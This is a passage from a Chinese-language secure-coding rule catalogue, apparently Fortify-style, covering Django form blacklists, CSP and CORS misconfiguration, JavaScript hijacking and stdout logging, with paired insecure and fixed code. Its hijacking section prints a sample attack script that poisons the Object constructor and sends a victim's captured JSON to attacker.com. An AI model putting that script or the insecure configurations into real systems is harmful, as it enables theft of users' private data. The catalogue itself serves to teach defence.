[30] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[39] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Request Forgery

[40] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Request Forgery (WASC-09)

Django Bad Practices: Blacklisted Attributes

ABSTRACT

应用程序使用黑名单来控制表单所显示的属性。当添加新属性时开发人员可能会忘记更新黑名单，也可能会不小心将敏感字段暴露给攻击者。

EXPLANATION

应用程序使用 exclude 黑名单。这很难维护，而且容易出错。如果开发人员向表单或备份表单的 Model 添加新字段，并忘记了更新 exclude 筛选器，则可能会向攻击者暴露敏感字段。攻击者将能够向任何未排除的字段提交和恶意绑定数据。

例 1：以下表单显示了一些 User 属性，但将以下用户 id 列入了黑名单：

from myapp.models import User

...

class UserForm(ModelForm):

  class Meta:

    model = User

    exclude = ['id']

...

如果使用新的 role 属性更新了 User 模型，但未更新相关联的 UserForm，则 role 属性将显示在表单中。

RECOMMENDATIONS

使用表单 Meta 类中的 fields 属性，因此当添加新字段时，除非开发人员更新列表，否则它在表单中不可用。

例 2：下列代码使用了白名单方法。

from myapp.models import User

...

class UserForm(ModelForm):

  class Meta:

    model = User

    fields = ['name', 'lastname', 'email']

...

如果使用新的 role 属性更新了 User 模型，但未更新相关联的 UserForm，则在默认情况下 role 属性将不显示在表单中。

REFERENCES

[1] Django Foundation Creating forms from models

[2] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data

HTML5: Misconfigured Content Security Policy

ABSTRACT

配置不正确的内容安全策略 (CSP) 会将应用程序暴露在客户端威胁中，包括 cross-site scripting、cross-frame scripting 和 cross-site request forgery。

EXPLANATION

内容安全策略 (CSP) 是声明性安全标头，允许开发人员规定站点可从哪些域中加载内容，或呈现在 Web 浏览器中时向哪些域发起连接。它提供额外的安全层以避免重大漏洞，如 cross-site scripting、clickjacking、cross-origin access 等，此外还有输入验证以及代码中的白名单。但配置不恰当的标头无法提供此额外的安全层。该策略是在十五条指令的帮助下定义的，包括八条控制资源访问的指令，即： script-src, img-data-src, object-src, style_src, font-src, media-src, frame-src, connect-src.

其中的每个指令均将一个源列表作为值，指定站点可访问的域，以使用该指令涵盖的功能。开发人员可使用通配符 * 表示所有或部分数据源。所有的指令都不是强制性的。浏览器允许对未列出的指令使用所有的数据源，或者允许从可选 default-src 指令中衍生其值。此外，此标头的规范也在不断发展。在 Firefox V23 和 IE V10 以前，它作为 X-Content-Security-Policy 实现，在 Chrome V25 以前，它作为 X-Webkit-CSP 实现。这两个名称现在均已弃用，目前使用的标准名称为 Content Security Policy。鉴于指令数、两个弃用的备用名称以及在单个标头中相同标头和重复指令多次出现的处理方式，开发人员很有可能会错误地配置此标头。

请考虑以下错误配置方案：

带 unsafe-inline 或 unsafe-eval 的指令背离了 CSP 的初衷。
设置了 script-src 指令，但未配置脚本 nonce。
设置了 frame-src，但未配置 sandbox。
此标头的多个实例允许出现在同一响应中。开发团队和安全团队可能都设置了标头，但其中一个团队可能使用了一个弃用的名称。如果不存在具有最新名称（即，Content Security Policy）的标头，则使用弃用标头也没问题，但如果存在名为 content-security-header 的策略，则应忽略弃用的标头。旧版本只能理解弃用的名称，因此，为了获得所需的支持，响应包括具有全部三个名称的相同策略非常重要。
如果指令在同一个标头实例中重复出现，则会忽略所有后续的重复。

例 1：以下 django-csp 配置使用 unsafe-inline 和 unsafe-eval 不安全指令来支持内联脚本和代码评估：

...

MIDDLEWARE_CLASSES = (

    ...

    'csp.middleware.CSPMiddleware',

    ...

)

...

CSP_DEFAULT_SRC = ("'self'", "'unsafe-inline'", "'unsafe-eval'", 'cdn.example.net')

...

RECOMMENDATIONS

在 CSP 指令中，避免使用 unsafe-inline 和 unsafe-eval，因为它们会背离 CSP 的初衷并为 cross-site scripting 漏洞打开方便之门。

例 2：以下 django-csp 配置允许从服务于页面的主机和“cdn.example.net”中加载资源，但不支持内联脚本：

...

MIDDLEWARE_CLASSES = (

    ...

    'csp.middleware.CSPMiddleware',

    ...

)

...

CSP_DEFAULT_SRC = ("'self'", 'cdn.example.net')

...

REFERENCES

[1] OWASP Content Security Policy

[2] W3C Content Security Policy 1.1

[3] Mozilla django-csp

[4] Standards Mapping - Common Weakness Enumeration CWE ID 942, CWE ID 1173

[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [3] CWE ID 020

[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414

[7] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data

[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)

[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.3 Input Validation Requirements, 5.1.4 Input Validation Requirements, 14.4.6 HTTP Security Headers Requirements, 14.5.3 Validate HTTP Request Header Requirements

[10] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls

[11] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration

[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration

[13] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration

[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10

[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6

[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6

[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6

[18] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection

[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[20] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[23] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[24] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[25] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[26] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[27] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[28] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[29] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)

HTML5: Overly Permissive CORS Policy

ABSTRACT

程序会定义过于宽松的跨源资源共享 (CORS) 策略。

EXPLANATION

在 HTML5 以前的版本中，Web 浏览器会强制实施同源策略，以确保在使用 JavaScript 访问 Web 页面内容时，JavaScript 和 Web 页面必须来自同一个域。若不采取同源策略，恶意网站便可以使用客户端凭证来运行从其他网站加载敏感信息的 JavaScript，并对这些信息进行提炼，然后将其返回给攻击者。如果定义了名为 Access-Control-Allow-Origin 的新 HTTP 标头，HTML5 就支持使用 JavaScript 跨域访问数据。通过此标头，Web 服务器可定义允许使用跨源请求访问服务器域的其他域。但是，定义标头时应小心谨慎，如果 CORS 策略过于宽松，恶意应用程序就能趁机采用不当方式与受害者应用程序进行通信，从而导致发生欺骗、数据被盗、转发及其他攻击。

示例 1：以下示例会使用通配符以编程方式指定允许与应用程序进行通信的域。

1	response.addHeader("Access-Control-Allow-Origin", "*")

将 * 用作 Access-Control-Allow-Origin 头文件的值表明该应用程序的数据可供在任何域上运行的 JavaScript 访问。

RECOMMENDATIONS

请不要使用 * 作为 Access-Control-Allow-Origin 头文件的值。而应该提供可信赖的域的显式列表。

示例 2：下面的 Access-Control-Allow-Origin 标头指定了一个明确可信赖的域。

1 2	response.addHeader("Access-Control-Allow-Origin", "www.trusted.com")

REFERENCES

[1] W3C Cross-Origin Resource Sharing

[2] Enable Cross-Origin Resource Sharing

[3] Michael Schmidt HTML5 Web Security

[4] Philippe De Ryck, Lieven Desmet, Pieter Philippaerts, and Frank Piessens A Security Analysis of Next Generation Web Standards

[5] Standards Mapping - Common Weakness Enumeration CWE ID 942

[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414

[7] Standards Mapping - General Data Protection Regulation Access Violation

[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)

[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.4.6 HTTP Security Headers Requirements, 14.5.3 Validate HTTP Request Header Requirements

[10] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication

[11] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration

[12] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration

[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10

[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8

[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8

[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8

[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8

[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8

[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control

[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[24] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[25] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[26] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[27] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[28] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[29] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[30] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)

HTML5: Overly Permissive Content Security Policy

ABSTRACT

内容安全策略 (CSP) 配置了过于宽松的策略，可能造成安全风险。

EXPLANATION

内容安全策略 (CSP) 是声明性安全标头，使开发人员可以在浏览器中指定允许的安全相关行为，包括可从中检索内容的位置白名单。它提供额外的安全层以避免重大漏洞，如 Cross-Site Scripting、Clickjacking、Cross-origin Access 等，此外还有输入验证以及代码中的白名单。但配置不恰当的标头无法提供此额外的安全层。该策略是在 15 条指令的帮助下定义的，包括 8 条控制资源访问的指令：script-src、img-data-src、object-src、style_src、font-src、media-src、frame-src、connect-src。这 8 条指令将源列表作为值，该值指定站点可访问的域，以使用该指令涵盖的功能。开发人员可使用通配符 * 表示所有或部分数据源。其他源列表关键字（例如 ‘unsafe-inline’ 和 ‘unsafe-eval’）提供了对脚本执行的更精细控制，但可能有害。所有的指令都不是强制性的。浏览器允许对未列出的指令使用所有的数据源，或者允许从可选 default-src 指令中衍生其值。此外，此标头的规范也在不断发展。在 Firefox V23 和 IE V10 以前，它作为 X-Content-Security-Policy 实现，在 Chrome V25 以前，作为 X-Webkit-CSP 实现。这两个名称现在均已弃用，目前使用的标准名称为 Content Security Policy。鉴于指令数、两个弃用的备用名称以及在单个标头中相同标头和重复指令多次出现的处理方式，开发人员很有可能会错误地配置此标头。

在这种情况下，开发人员使用过度宽松的策略配置了 -src 指令，如 。

例 1：以下 django-csp 设置可设置过度宽松且不安全的 default-src 指令：

...

MIDDLEWARE_CLASSES = (

    ...

    'csp.middleware.CSPMiddleware',

    ...

)

...

CSP_DEFAULT_SRC = ("'self'", '*')

...

RECOMMENDATIONS

对于 CSP 源列表值，请使用受信任域的显式列表，而不要使用常规通配符 *。另外，避免使用任何允许潜在不安全脚本行为的指令，例如 ‘unsafe-inline’ 或 ‘unsafe-eval’。

例 2：以下 django-csp 设置可为 default-src 指令设置特定域：

...

MIDDLEWARE_CLASSES = (

    ...

    'csp.middleware.CSPMiddleware',

    ...

)

...

CSP_DEFAULT_SRC = ("'self'", 'cdn.example.net')

...

REFERENCES

[1] OWASP Content Security Policy

[2] W3C Content Security Policy 1.1

[3] Mozilla django-csp

[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414

[5] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data

[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)

[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration

[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration

[9] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration

[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10

[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8

[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8

[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8

[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8

[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8

[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control

[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[18] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[21] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[22] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[23] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[24] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[25] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[26] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[27] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)

JavaScript Hijacking: Constructor Poisoning

ABSTRACT

使用 JavaScript 符号来传送敏感数据的应用程序可能会存在 JavaScript hijacking 的漏洞，该漏洞允许未经授权的攻击者从一个易受攻击的应用程序中读取机密数据。如果浏览器的 JavaScript 引擎允许数组构造函数中毒，则 JavaScript 数组会失窃。

EXPLANATION

如果发生以下情况，应用程序可能会很容易受到 JavaScript 劫持的攻击：

1) 使用 JavaScript 对象作为数据传输格式

2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现，所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码，引起人们对潜在的 JavaScript 劫持漏洞的注意。

Web 浏览器执行同源策略 (Same Origin Policy)，以保护用户免受恶意网站的攻击。同源策略 (Same Origin Policy) 规定：如果要使用 JavaScript 来访问某个网页的内容的话，则 JavaScript 和网页必须都来源于相同的域。若不采取同源策略 (Same Origin Policy)，恶意网站便可以使用客户端凭证来运行从其他网站加载敏感信息的 JavaScript，并对这些信息进行提炼，然后将其返回给攻击者。通过 JavaScript 劫持，攻击者可以绕过 Web 应用程序中使用的同源策略 (Same Origin Policy)，该应用程序使用 JavaScript 来交流机密信息。同源策略 (Same Origin Policy) 中的漏洞是：通过这一策略，任何网站的 JavaScript 都可以被其他网站的上下文包含或执行。即使恶意网站不能直接在客户端上检查易受攻击的站点中加载的所有数据，但它仍可以通过配置一个特定的环境利用该漏洞。有了这样的环境，恶意网站就可以监视 JavaScript 的执行过程和任何可能发生的相关负面效应。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制，因此，与传统的 Web 应用程序不同，它们往往很容易受到各种攻击。

JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型：阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易，因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式，在应用程序需要交换多个值时会普遍使用该形式。换句话说，一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击，这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。

示例 1：在以下示例中，开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互，这一 Web 应用程序用于管理潜在商机。接下来，它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意，本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时，没有使用 new 运算符，则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据，并通过以下代码评估 JSON 结果：

var object;

var req = new XMLHttpRequest();

req.open("GET", "/object.json",true);

req.onreadystatechange = function () {

  if (req.readyState == 4) {

    var txt = req.responseText;

    object = eval("(" + txt + ")");

    req = null;

  }

};

req.send(null);

当此代码运行时，它会生成一个如下所示的 HTTP 请求：

GET /object.json HTTP/1.1

...

Host: www.example.com

Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

（在本 HTTP 响应和随后的响应中，我们省略了与该解释没有直接关系的 HTTP 头信息。）

服务器使用 JSON 格式的数组进行响应：

HTTP/1.1 200 OK

Cache-control: private

Content-Type: text/JavaScript; charset=utf-8

...

[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",

  "purchases":60000.00, "email":"brian@example.com" },

 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",

  "purchases":120000.00, "email":"katrina@example.com" },

 {"fname":"Jacob", "lname":"West", "phone":"6502135600",

  "purchases":45000.00, "email":"jacob@example.com" }]

这种情况下，JSON 中包含了与当前用户相关的机密信息（一组潜在商机数据）。其他用户如果不知道该用户的会话标识符，便无法访问这些信息。（在大多数现代 Web 应用程序中，会话标识符存储在 cookie 中。）然而，如果受害者访问某个恶意网站，恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后，访问包含以下恶意代码的网页，受害者的重要信息就会被发送到攻击者的网站中。

<script>

// override the constructor used to create all objects so

// that whenever the "email" field is set, the method

// captureObject() will run. Since "email" is the final field,

// this will allow us to steal the whole object.

function Object() {

 this.email setter = captureObject;

}

// Send the captured object back to the attacker's web site

function captureObject(x) {

  var objString = "";

  for (fld in this) {

    objString += fld + ": " + this[fld] + ", ";

  }

  objString += "email: " + x;

  var req = new XMLHttpRequest();

  req.open("GET", "http://attacker.com?obj=" +

           escape(objString),true);

  req.send(null);

}

</script>

<!-- Use a script tag to bring in victim's data -->

<script src="http://www.example.com/object.json"></script>

恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之，处理此请求时将认为其源自合法应用程序。

当 JSON 阵列到达客户端时，将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估，恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法，恶意代码已插入一个钩子，该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反，其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 – 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型，但不可能两者兼备。如果用户未登录到易受攻击的网站，攻击者可以要求用户登录，然后显示该应用程序的合法登录页面。

这不是钓鱼攻击 – 攻击者未获得用户凭证的访问权限 – 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签，向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是，在此混合应用情况中，涉及的应用程序之一是恶意的。

示例 2：以下代码显示 Django 样本查看方法，这种方法以 JSON 数组的形式发送包含敏感数据的 JSON 响应。

from django.http.response import JsonResponse

...

def handle_upload(request):

  response = JsonResponse(sensitive_data, safe=False)  # Sensitive data is stored in a list

  return response

RECOMMENDATIONS

所有使用 JavaScript 进行交流的程序需要采取以下防范措施：1) 拒绝恶意请求：— 在每个返回给 JavaScript 的请求中使用一些令人难以猜测的标识符，如会话标识符。允许服务器验证请求的来源可以防范跨站点请求的伪装攻击。2) 避免直接执行 JavaScript 响应：包括某些响应中的字符，这些响应只有经过了修改，才能成功地转到 JavaScript 解释器进行处理。这样可以防止攻击者使用 <script> 标签看清 JavaScript 的执行过程。防范 JavaScript 劫持的最佳方法是同时采取上述两种防范策略。

拒绝恶意请求

从服务器的角度来看，JavaScript 劫持攻击类似于跨站点伪装请求，因此，防止跨站点伪装请求也就可以防止 JavaScript 劫持攻击。为了便于探测各种恶意请求，每个请求均应包含攻击者难以猜测的参数。一种方法是将会话 cookie 作为参数添加到请求中。服务器接收到这样一个请求时，它可以检查并确定会话 cookie 是否与请求中的参数值匹配。恶意代码无法取得会话 cookie（cookie 也需要遵循同源策略 (Same Origin Policy)），因此，攻击者即使制造了请求，也很难再通过检验了。也可以使用其他机密信息代替会话 cookie；只要这个机密信息难以猜测，可以在合法应用程序能够访问的上下文中使用，同时又无法通过其他的域进行访问，就可以防止攻击者制造有效的请求。

有一些框架仅能运行在客户端上。换言之，它们完全由 JavaScript 编写而成，对服务器的工作情况一无所知。这意味着它们并不知道会话 cookie 的名称。即使并不清楚会话 cookie 的名称，它们也能参与基于 cookie 的防范，途径就是将所有的 cookie 附加到发送给服务器的各个请求中。

例 3：以下 JavaScript 片段描述了这种“盲客户端”策略：

var httpRequest = new XMLHttpRequest();

...

var cookies="cookies="+escape(document.cookie);

http_request.open('POST', url, true);

httpRequest.send(cookies);

服务器也可以检查 HTTP referer 头信息，以确保请求来自于合法的应用程序，而不是恶意的应用程序。从历史上看，referer 头信息一直都未受到过信任，因此，我们并不建议您将它作为安全机制的基础。您可以为服务器装入一种针对 JavaScript hijacking 的防范方法，即让服务器只对 HTTP POST 请求做出响应，而不回应任何 HTTP GET 请求。这是一项防御技术，原因是 <script> 标签通常使用 GET 方法从外部资源文件中加载 JavaScript。然而，这种防范措施并非尽善尽美。Web 应用程序的专家一致鼓励采用 GET 方法提高性能。如果在 HTTP 方法的选择上缺乏安全方面的考虑，这意味着未来的某一时刻，程序员可能会误认为这种功能上的不足是疏忽所致，而没有将它作为一种安全预警加以认识，进而修改了应用程序以响应 GET 请求。

防止直接执行响应

为了使恶意站点无法执行包含 JavaScript 的响应，合法的客户端应用程序可以利用允许执行前对接收的数据进行修改这一权限，而恶意的应用程序则只能使用<script> 标签执行响应。当服务器序列化某个对象时，该对象应包括一个前缀（也可以是后缀），从而使它无法通过 <script> 标签执行 JavaScript。合法的客户端应用程序可以在运行 JavaScript 前删除这些无关的数据。

例 4：该方法可以通过多种方式来实现。以下例子演示了两种方式。第一种，服务器可以把以下指令作为消息的前缀：

while(1);

除非客户端删除此前缀，否则对此消息求值会将 JavaScript 解释器置于一个无限循环中。客户端会搜索并删除如下前缀：

var object;

var req = new XMLHttpRequest();

req.open("GET", "/object.json",true);

req.onreadystatechange = function () {

  if (req.readyState == 4) {

    var txt = req.responseText;

    if (txt.substr(0,9) == "while(1);") {

      txt = txt.substring(10);

    }

    object = eval("(" + txt + ")");

    req = null;

  }

};

req.send(null);

第二种，服务器可以在 JavaScript 附近加注注释字符，这些注释字符必须在 JavaScript 被送往 eval() 函数前删除。以下 JSON 对象已加入了一块注释：

/*

[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",

  "purchases":60000.00, "email":"brian@example.com" }

]

*/

客户端可以搜索并删除如下注释字符：

var object;

var req = new XMLHttpRequest();

req.open("GET", "/object.json",true);

req.onreadystatechange = function () {

  if (req.readyState == 4) {

    var txt = req.responseText;

    if (txt.substr(0,2) == "/*") {

      txt = txt.substring(2, txt.length - 2);

    }

    object = eval("(" + txt + ")");

    req = null;

  }

};

req.send(null);

任何通过 <script> 标签来提取敏感 JavaScript 的恶意站点都将无法获取其中所包含的数据。

自第 5 版 EcmaScript 起，已不可能攻击 JavaScript 数组构造函数。

在默认情况下，Django 不允许将非字典对象传递给 JsonResponse 构造函数。但通过将 safe 设置为 False，可以禁用此安全控制。尽可能避免将 safe 设置为 False，尤其是在数据包含敏感或私人数据的情况下。

例 5：以下代码以 JSON 字典的形式发送包含敏感数据的 JSON 响应。

from django.http.response import JsonResponse

...

def handle_upload(request):

  response = JsonResponse(dict(sensitive_data))  # Sensitive data is stored

  return response

REFERENCES

[1] B. Chess, Y. O’Neil, and J. West JavaScript Hijacking

[2] Joe Walker JSON is not as safe as people think it is

[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail

[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167

[5] Standards Mapping - General Data Protection Regulation Access Violation

[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)

[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage

[8] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II

[9] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II

[10] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II

[11] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II

[12] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II

[13] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II

[14] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II

[15] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II

[16] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II

[17] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II

[18] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage

[19] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Poor Logging Practice: Use of a System Output Stream

ABSTRACT

使用标准输出或标准错误而不是专门的日志记录工具，会导致难以监控程序运行状况。

EXPLANATION

示例 1：开发人员学习编写的第一个 Python 程序如下所示：

print("hello world")

多数程序员深入了解 Python 的许多精妙之处后，有一部分人仍会依赖于这一基础知识，始终使用 print() 或 sys.stdout.write() 编写进行标准输出的消息。

这里的问题是，直接在标准输出流或标准错误流中写入信息通常会作为一种非结构化日志记录形式使用。结构化日志记录系统提供了各种要素，如日志级别、统一的格式、日志标示符、次数统计，而且，可能最重要的是，将日志信息指向正确位置的功能。当系统输出流的使用与正确使用日志记录功能的代码混合在一起时，得出的结果往往是一个保存良好但缺少重要信息的日志。

